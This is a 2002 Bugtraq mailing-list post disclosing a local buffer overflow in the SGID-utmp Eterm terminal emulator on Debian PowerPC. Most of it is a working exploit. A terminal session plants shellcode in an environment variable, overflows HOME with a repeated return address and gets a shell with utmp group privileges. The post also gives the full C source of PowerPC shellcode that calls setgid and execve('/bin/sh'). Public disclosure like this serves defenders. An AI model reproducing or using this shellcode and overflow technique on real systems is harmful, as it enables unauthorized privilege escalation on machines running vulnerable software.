Bugtraq mailing list archives
Eterm SGID utmp Buffer Overflow (Local)
From: Charles 'core' Stevenson <core () bokeoa com>
Date: Sun, 13 Jan 2002 07:57:57 -0700
I found this last night looking for suids to overflow. Tested on Debian
PowerPC Unstable. Yields gid utmp from which higher priveleges could be
gained with a little effort. I haven't looked too close but I think the
overflow might be in imlib2.
[-(core@euclid:/home/core/tmp)> gcc execve.c -o execve
[-(core@euclid:/home/core/tmp)> export EGG=`./execve`
sizeof(shellcode)=73
[-(core@euclid:/home/core/tmp)> ./getenv EGG
Shellcode @ 0x7fffff95
[-(core@euclid:/home/core/tmp)> export HOME=`perl -e 'print
"\x7f\xff\xff\x96"x1032'`
[-(core@euclid:/home/core/tmp)> Eterm
sh-2.05a$ id
uid=1000(core) gid=1000(core) egid=43(utmp) groups=1000(core)
ii eterm 0.9.1-2 Enlightened Terminal Emulator
ii libimlib2 1.0.4-1 Powerful image loading and rendering
library
/* execve.c
*
* PowerPC Linux Shellcode
*
* by Charles Stevenson <core () bokeoa com>
*
* original execve by my good friend
* Kevin Finisterre <dotslash () snosoft com>
*/
#include <stdio.h>
char shellcode[] =
/* setgid(43) utmp */
"\x38\x60\x01\x37" /* 100004a0: li
r3,311 */
"\x38\x63\xfe\xf4" /* 100004a4: addi
r3,r3,-268 */
"\x3b\xc0\x01\x70" /* 100004a8: li
r30,368 */
"\x7f\xc0\x1e\x70" /* 100004ac: srawi
r0,r30,3 */
"\x44\xff\xff\x02" /* 100004b0:
sc */
/* execve("/bin/sh") */
"\x7c\xa5\x2a\x78" /* 100004b0: xor
r5,r5,r5 */
"\x40\x82\xff\xed" /* 100004b4: bnel+ 100004a0
<main> */
"\x7f\xe8\x02\xa6" /* 100004b8: mflr
r31 */
"\x3b\xff\x01\x30" /* 100004bc: addi
r31,r31,304 */
"\x38\x7f\xfe\xf4" /* 100004c0: addi
r3,r31,-268 */
"\x90\x61\xff\xf8" /* 100004c4: stw
r3,-8(r1) */
"\x90\xa1\xff\xfc" /* 100004c8: stw
r5,-4(r1) */
"\x38\x81\xff\xf8" /* 100004cc: addi
r4,r1,-8 */
"\x3b\xc0\x01\x60" /* 100004d0: li
r30,352 */
"\x7f\xc0\x2e\x70" /* 100004d4: srawi
r0,r30,5 */
"\x44\xff\xff\x02" /* 100004d8:
sc */
"\x2f\x62\x69\x6e" /* 100004dc: cmpdi
cr6,r2,26990 */
"\x2f\x73\x68\x00"; /* 100004e0: cmpdi
cr6,r19,26624 */
int main(int argc, char **argv) {
fprintf(stderr,"sizeof(shellcode)=%d\n",sizeof(shellcode));
//__asm__("b shellcode");
printf("%s",shellcode);
return 0;
}
Best Regards,
Charles 'core' Stevenson
Current thread:
- Eterm SGID utmp Buffer Overflow (Local) Charles 'core' Stevenson (Jan 14)
- Re: Eterm SGID utmp Buffer Overflow (Local) Michael Jennings (Jan 21)
